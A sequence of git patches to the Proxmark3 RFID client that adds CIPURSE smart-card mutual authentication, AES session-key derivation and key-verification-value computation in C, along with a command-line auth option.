0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw); } +int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); +} diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 8a18011f2..47671d0c8 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -21,5 +21,14 @@ int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); + +int CIPURSECreateFile(uint16_t fileID, uint8_t *fileAttr); +int CIPURSEDeleteFile(uint16_t fileID); + +int CIPURSESelectFile(uint16_t fileID); +int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen); +int CIPURSEReadBinary(uint16_t offset, uint8_t *data, uint16_t *datalen); +int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen); #endif /* __CIPURSECORE_H__ */ From f17cbfe412a2ab55e285d8f2600995b1a5715774 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 15:51:08 +0300 Subject: [PATCH 39/77] add some consts and kvv --- client/src/cipurse/cipursecrypto.c | 28 ++++++++++++++++++++-------- client/src/cipurse/cipursecrypto.h | 14 ++++++++++---- client/src/cmdhfcipurse.c | 4 ++++ 3 files changed, 34 insertions(+), 12 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index e020676c6..16917b7aa 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -17,9 +17,26 @@ #include "cmdhf14a.h" #include "emv/emvcore.h" #include "emv/emvjson.h" +#include "crypto/libpcrypto.h" #include "ui.h" #include "util.h" +uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + +static void CipurseCGenerateK0AndGetCp(CipurseContext *ctx) { + +} + +static void CipurseCGenerateCT(uint8_t *RT, uint8_t *CT) { + +} + +void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { + uint8_t res[16] = {0}; + aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH); + memcpy(kvv, res, CIPURSE_KVV_LENGTH); +} + void CipurseClearContext(CipurseContext *ctx) { if (ctx == NULL) return; @@ -54,12 +71,7 @@ void CipurseAuthenticateHost(CipurseContext *ctx) { if (ctx == NULL) return; -/* RT = Random.nextBytes(16) - rT = Random.nextBytes(6) - - val cP = generateK0AndGetCp(key, RP, rP, RT, rT) ?: return Pair(null, null) - - return Pair(cP + RT + rT, generateCT(RT))*/ - - + CipurseSetRandomHost(ctx); + CipurseCGenerateK0AndGetCp(ctx); + CipurseCGenerateCT(ctx->RT, ctx->CT); } diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 07019f6ca..04e3d27b5 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -13,6 +13,11 @@ #include "common.h" +#define CIPURSE_KVV_LENGTH 4 +#define CIPURSE_AES_KEY_LENGTH 16 +#define CIPURSE_SECURITY_PARAM_N 6 +#define OSPT_MAC_LENGTH 8 + #define member_size(type, member) sizeof(((type *)0)->member) enum CipurseChannelSecurityLevel { @@ -24,7 +29,7 @@ enum CipurseChannelSecurityLevel { typedef struct CipurseContextS { uint8_t keyId; - uint8_t key[16]; + uint8_t key[CIPURSE_AES_KEY_LENGTH]; uint8_t RP[16]; uint8_t rP[6]; @@ -33,9 +38,10 @@ typedef struct CipurseContextS { uint8_t frameKey0[16]; uint8_t cP[16]; + uint8_t CT[16]; - uint8_t frameKey[16]; - uint8_t frameKeyNext[16]; + uint8_t frameKey[CIPURSE_AES_KEY_LENGTH]; + uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; } CipurseContext; void CipurseClearContext(CipurseContext *ctx); @@ -46,6 +52,6 @@ void CipurseSetRandomHost(CipurseContext *ctx); void CipurseAuthenticateHost(CipurseContext *ctx); - +void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); #endif /* __CIPURSECRYPTO_H__ */ diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 1806e4be4..cac5ab03c 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -98,6 +98,10 @@ static int CmdHFCipurseAuth(const char *Cmd) { uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; CipurseContext ctx = {0}; CipurseSetKey(&ctx, 1, key); + + uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; + CipurseCGetKVV(key, kvv); + PrintAndLogEx(INFO, "Key: %s KVV: %s", sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); if (res != 0 || len != 0x16) { From fa850788224e1f7b2b4337d58623e14baf0d4c91 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 16:09:34 +0300 Subject: [PATCH 40/77] high level of auth and some renamings --- client/src/cipurse/cipursecrypto.c | 25 +++++++++++++++++-------- client/src/cipurse/cipursecrypto.h | 10 +++++----- client/src/cmdhfcipurse.c | 17 ++++++++++++++--- 3 files changed, 36 insertions(+), 16 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 16917b7aa..90d6f1722 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -37,24 +37,24 @@ void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { memcpy(kvv, res, CIPURSE_KVV_LENGTH); } -void CipurseClearContext(CipurseContext *ctx) { +void CipurseCClearContext(CipurseContext *ctx) { if (ctx == NULL) return; memset(ctx, 0, sizeof(CipurseContext)); } -void CipurseSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { +void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { if (ctx == NULL) return; - CipurseClearContext(ctx); + CipurseCClearContext(ctx); ctx->keyId = keyId; memcpy(ctx->key, key, member_size(CipurseContext, key)); } -void CipurseSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { +void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { if (ctx == NULL) return; @@ -62,16 +62,25 @@ void CipurseSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP)); } -void CipurseSetRandomHost(CipurseContext *ctx) { +void CipurseCSetRandomHost(CipurseContext *ctx) { memset(ctx->RT, 0x10, member_size(CipurseContext, RT)); memset(ctx->rT, 0x20, member_size(CipurseContext, rT)); } -void CipurseAuthenticateHost(CipurseContext *ctx) { +static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) { + memcpy(authdata, ctx->cP, member_size(CipurseContext, cP)); + memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT)); + memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT)); +} + +void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { if (ctx == NULL) return; - CipurseSetRandomHost(ctx); + CipurseCSetRandomHost(ctx); CipurseCGenerateK0AndGetCp(ctx); - CipurseCGenerateCT(ctx->RT, ctx->CT); + CipurseCGenerateCT(ctx->RT, ctx->CT); + + if (authdata != NULL) + CipurseCFillAuthData(ctx, authdata); } diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 04e3d27b5..f7b330280 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -44,12 +44,12 @@ typedef struct CipurseContextS { uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; } CipurseContext; -void CipurseClearContext(CipurseContext *ctx); -void CipurseSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key); -void CipurseSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); -void CipurseSetRandomHost(CipurseContext *ctx); +void CipurseCClearContext(CipurseContext *ctx); +void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key); +void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); +void CipurseCSetRandomHost(CipurseContext *ctx); -void CipurseAuthenticateHost(CipurseContext *ctx); +void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index cac5ab03c..d693f2295 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -95,24 +95,35 @@ static int CmdHFCipurseAuth(const char *Cmd) { return PM3_ESOFT; } + uint8_t keyId = 1; uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; CipurseContext ctx = {0}; - CipurseSetKey(&ctx, 1, key); + CipurseCSetKey(&ctx, 1, key); uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; CipurseCGetKVV(key, kvv); PrintAndLogEx(INFO, "Key: %s KVV: %s", sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); + // get RP, rP res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); if (res != 0 || len != 0x16) { PrintAndLogEx(ERR, "Cipurse get challenge error. Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - CipurseSetRandomFromPICC(&ctx, buf); - + CipurseCSetRandomFromPICC(&ctx, buf); + // make auth data + uint8_t authparams[16 + 16 + 6] = {0}; + CipurseCAuthenticateHost(&ctx, authparams); + // authenticate + res = CIPURSEMutalAuthenticate(keyId, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000 || len != 0x16) { + PrintAndLogEx(ERR, "Cipurse authentication error. Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } DropField(); return PM3_SUCCESS; From 37daaa2120960f70d58f670b0e3246a5754d6f21 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 16:20:48 +0300 Subject: [PATCH 41/77] GenerateK0AndCp sketch --- client/src/cipurse/cipursecrypto.c | 48 ++++++++++++++++++++++++++---- client/src/cipurse/cipursecrypto.h | 2 +- 2 files changed, 44 insertions(+), 6 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 90d6f1722..996d43b1e 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -23,12 +23,50 @@ uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; -static void CipurseCGenerateK0AndGetCp(CipurseContext *ctx) { +static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { + /* // session key derivation function + // kP := NLM(EXT(kID), rP) + // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID + var temp1 = CryptoUtils.extFunction(kid, CIPURSE_SECURITY_PARAM_N) ?: return null + val kp = CryptoUtils.computeNLM(rP, temp1) ?: return null + temp1 = CryptoUtils.pad2(kp) ?: return null + val temp2 = CryptoUtils.pad(rT) ?: return null + temp1 = temp1 xor temp2 + // session key K0 + k0 = AesECB.aesEncrypt(temp1, kid) ?: return null + k0 = k0 xor kid + + // first frame key k1, function to calculate k1, + // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) + temp1 = k0 xor RT + val temp3: ByteArray = AesECB.aesEncrypt(RP, temp1) ?: return null + frameKeyi = temp3 xor temp1 + Log.d(TAG, "frame key=${Utils.toHex(frameKeyi)}") + + // function to caluclate cP := AES(key=k0, RP). + // terminal response + return AesECB.aesEncrypt(k0, RP)*/ + + uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0}; + uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0}; + + // session key derivation function + // kP := NLM(EXT(kID), rP) + // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID + + // session key K0 + + // first frame key k1, function to calculate k1, + // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) + + // function to caluclate cP := AES(key=k0, RP). + // terminal response + aes_encode(NULL, ctx->k0, ctx->RP, ctx->Cp, CIPURSE_AES_KEY_LENGTH); } -static void CipurseCGenerateCT(uint8_t *RT, uint8_t *CT) { - +static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) { + aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH); } void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { @@ -78,8 +116,8 @@ void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { return; CipurseCSetRandomHost(ctx); - CipurseCGenerateK0AndGetCp(ctx); - CipurseCGenerateCT(ctx->RT, ctx->CT); + CipurseCGenerateK0AndCp(ctx); + CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT); if (authdata != NULL) CipurseCFillAuthData(ctx, authdata); diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index f7b330280..c2f8c2de4 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -36,7 +36,7 @@ typedef struct CipurseContextS { uint8_t RT[16]; uint8_t rT[6]; - uint8_t frameKey0[16]; + uint8_t k0[16]; uint8_t cP[16]; uint8_t CT[16]; From 1a937b33c49d1ad92fb557fe1c7d7a779a2f1556 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 18:37:23 +0300 Subject: [PATCH 42/77] auth code done. needs tests --- client/src/cipurse/cipursecrypto.c | 88 +++++++++++++++++++++++++++++- client/src/cipurse/cipursecrypto.h | 15 ++--- client/src/cmdhfcipurse.c | 56 ++++++++++++++++--- 3 files changed, 140 insertions(+), 19 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 996d43b1e..9da227d58 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -23,6 +23,74 @@ uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; +static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) { + for(size_t i = 0; i < len; i++) + d1[i] = d1[i] ^ d2[i]; +} + +static void bin_ext(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + if (srclen > dstlen) + memcpy(dst, &src[srclen - dstlen], dstlen); + else + memcpy(dst, src, dstlen); +} + +static void bin_pad(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + memset(dst, 0, dstlen); + if (srclen <= dstlen) + memcpy(&dst[dstlen - srclen], src, srclen); + else + memcpy(dst, src, dstlen); +} + +static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { + memset(dst, 0, dstlen); + uint8_t dbl[srclen * 2]; + memcpy(dbl, src, srclen); + memcpy(&dbl[srclen], src, srclen); + bin_pad(dst, dstlen, dbl, srclen * 2); +} + +static uint64_t rotateLeft48(uint64_t src) { + uint64_t dst = src << 1; + if (dst && 0x0001000000000000UL != 0) { + dst = dst | 1; + dst = dst & 0x0000ffffffffffffUL; + } + return dst; +} + +static uint64_t computeNLM48(uint64_t x, uint64_t y) { + uint64_t res = 0; + + for (int i = 0; i < 48; i++) { + res = rotateLeft48(res); + if (res & 1) + res = res ^ CIPURSE_POLY; + y = rotateLeft48(y); + if (y & 1) + res = res ^ x; + } + return res; +} + +static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) { + uint64_t x64 = 0; + uint64_t y64 = 0; + + for (int i = 0; i < 6; i++) { + x64 = (x64 << 8) | x[i]; + y64 = (y64 << 8) | y[i]; + } + + uint64_t res64 = computeNLM48(x64, y64); + + for (int i = 0; i < 6; i++) { + res[5 - i] = res64 & 0xff; + res64 = res64 >> 8; + } +} + static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { /* // session key derivation function // kP := NLM(EXT(kID), rP) @@ -50,25 +118,39 @@ static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0}; uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0}; + uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0}; // session key derivation function // kP := NLM(EXT(kID), rP) - // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID - + // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID + bin_ext(temp1, CIPURSE_SECURITY_PARAM_N, ctx->key, CIPURSE_AES_KEY_LENGTH); + computeNLM(kp, ctx->rP, temp1); // param sizes == 6 bytes + bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N); + bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N); + bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); + // session key K0 + aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH); + bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH); // first frame key k1, function to calculate k1, // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) + memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp1, ctx->RT, CIPURSE_AES_KEY_LENGTH); + aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH); + bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH); // function to caluclate cP := AES(key=k0, RP). // terminal response - aes_encode(NULL, ctx->k0, ctx->RP, ctx->Cp, CIPURSE_AES_KEY_LENGTH); + aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH); } static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) { aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH); } +// from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/securemessaging/CipurseSecureMessage.java#L68 void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { uint8_t res[16] = {0}; aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH); diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index c2f8c2de4..53c171a0c 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -17,6 +17,7 @@ #define CIPURSE_AES_KEY_LENGTH 16 #define CIPURSE_SECURITY_PARAM_N 6 #define OSPT_MAC_LENGTH 8 +#define CIPURSE_POLY 0x35b088cce172UL #define member_size(type, member) sizeof(((type *)0)->member) @@ -31,14 +32,14 @@ typedef struct CipurseContextS { uint8_t keyId; uint8_t key[CIPURSE_AES_KEY_LENGTH]; - uint8_t RP[16]; - uint8_t rP[6]; - uint8_t RT[16]; - uint8_t rT[6]; + uint8_t RP[CIPURSE_AES_KEY_LENGTH]; + uint8_t rP[CIPURSE_SECURITY_PARAM_N]; + uint8_t RT[CIPURSE_AES_KEY_LENGTH]; + uint8_t rT[CIPURSE_SECURITY_PARAM_N]; - uint8_t k0[16]; - uint8_t cP[16]; - uint8_t CT[16]; + uint8_t k0[CIPURSE_AES_KEY_LENGTH]; + uint8_t cP[CIPURSE_AES_KEY_LENGTH]; + uint8_t CT[CIPURSE_AES_KEY_LENGTH]; uint8_t frameKey[CIPURSE_AES_KEY_LENGTH]; uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index d693f2295..1bb3e83d5 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -85,8 +85,42 @@ static int CmdHFCipurseAuth(const char *Cmd) { uint8_t buf[APDU_RES_LEN] = {0}; size_t len = 0; uint16_t sw = 0; + uint8_t keyId = 1; + uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; - SetAPDULogging(true); + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14a sim", + "Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID", + "hf 14a sim -t 1 --uid 11223344 -> MIFARE Classic 1k\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + keyId = arg_get_int_def(ctx, 3, 1); + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); + if (hdatalen && hdatalen != 16) { + PrintAndLogEx(ERR, "ERROR: key length for AES128 must be 16 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { @@ -95,14 +129,13 @@ static int CmdHFCipurseAuth(const char *Cmd) { return PM3_ESOFT; } - uint8_t keyId = 1; - uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; - CipurseContext ctx = {0}; - CipurseCSetKey(&ctx, 1, key); + CipurseContext cpc = {0}; + CipurseCSetKey(&cpc, 1, key); uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; CipurseCGetKVV(key, kvv); - PrintAndLogEx(INFO, "Key: %s KVV: %s", sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); + if (verbose) + PrintAndLogEx(INFO, "Key: %s KVV: %s", sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); // get RP, rP res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); @@ -111,16 +144,21 @@ static int CmdHFCipurseAuth(const char *Cmd) { DropField(); return PM3_ESOFT; } - CipurseCSetRandomFromPICC(&ctx, buf); + CipurseCSetRandomFromPICC(&cpc, buf); // make auth data uint8_t authparams[16 + 16 + 6] = {0}; - CipurseCAuthenticateHost(&ctx, authparams); + CipurseCAuthenticateHost(&cpc, authparams); // authenticate res = CIPURSEMutalAuthenticate(keyId, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000 || len != 0x16) { - PrintAndLogEx(ERR, "Cipurse authentication error. Card returns 0x%04x.", sw); + if (sw == 0x6988) + PrintAndLogEx(ERR, "Cipurse authentication error. Wrong key."); + else if ((sw == 0x6A88)) + PrintAndLogEx(ERR, "Cipurse authentication error. Wrong key number."); + else PrintAndLogEx(ERR, "Cipurse authentication error. Card returns 0x%04x.", sw); + DropField(); return PM3_ESOFT; } From 1ba960601121dde0baca55d66b2ae2d3c9f64de2 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sat, 29 May 2021 19:46:51 +0300 Subject: [PATCH 43/77] authentication works --- client/src/cipurse/cipursecrypto.c | 34 ++++++------------------------ client/src/cipurse/cipursecrypto.h | 1 + client/src/cmdhfcipurse.c | 21 +++++++++++------- 3 files changed, 21 insertions(+), 35 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 9da227d58..14dd8c3a5 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -53,7 +53,7 @@ static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) { static uint64_t rotateLeft48(uint64_t src) { uint64_t dst = src << 1; - if (dst && 0x0001000000000000UL != 0) { + if (dst & 0x0001000000000000UL) { dst = dst | 1; dst = dst & 0x0000ffffffffffffUL; } @@ -70,7 +70,7 @@ static uint64_t computeNLM48(uint64_t x, uint64_t y) { y = rotateLeft48(y); if (y & 1) res = res ^ x; - } + } return res; } @@ -91,31 +91,7 @@ static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) { } } -static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { - /* // session key derivation function - // kP := NLM(EXT(kID), rP) - // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID - var temp1 = CryptoUtils.extFunction(kid, CIPURSE_SECURITY_PARAM_N) ?: return null - val kp = CryptoUtils.computeNLM(rP, temp1) ?: return null - temp1 = CryptoUtils.pad2(kp) ?: return null - val temp2 = CryptoUtils.pad(rT) ?: return null - temp1 = temp1 xor temp2 - - // session key K0 - k0 = AesECB.aesEncrypt(temp1, kid) ?: return null - k0 = k0 xor kid - - // first frame key k1, function to calculate k1, - // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) - temp1 = k0 xor RT - val temp3: ByteArray = AesECB.aesEncrypt(RP, temp1) ?: return null - frameKeyi = temp3 xor temp1 - Log.d(TAG, "frame key=${Utils.toHex(frameKeyi)}") - - // function to caluclate cP := AES(key=k0, RP). - // terminal response - return AesECB.aesEncrypt(k0, RP)*/ - +static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0}; uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0}; uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0}; @@ -204,3 +180,7 @@ void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { if (authdata != NULL) CipurseCFillAuthData(ctx, authdata); } + +bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) { + return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0); +} diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index 53c171a0c..ca1ed29f3 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -51,6 +51,7 @@ void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random); void CipurseCSetRandomHost(CipurseContext *ctx); void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); +bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 1bb3e83d5..cea5755f4 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -87,7 +87,7 @@ static int CmdHFCipurseAuth(const char *Cmd) { uint16_t sw = 0; uint8_t keyId = 1; uint8_t key[] = {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}; - + CLIParserContext *ctx; CLIParserInit(&ctx, "hf 14a sim", "Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID", @@ -130,12 +130,12 @@ static int CmdHFCipurseAuth(const char *Cmd) { } CipurseContext cpc = {0}; - CipurseCSetKey(&cpc, 1, key); + CipurseCSetKey(&cpc, keyId, key); uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; CipurseCGetKVV(key, kvv); if (verbose) - PrintAndLogEx(INFO, "Key: %s KVV: %s", sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); + PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); // get RP, rP res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); 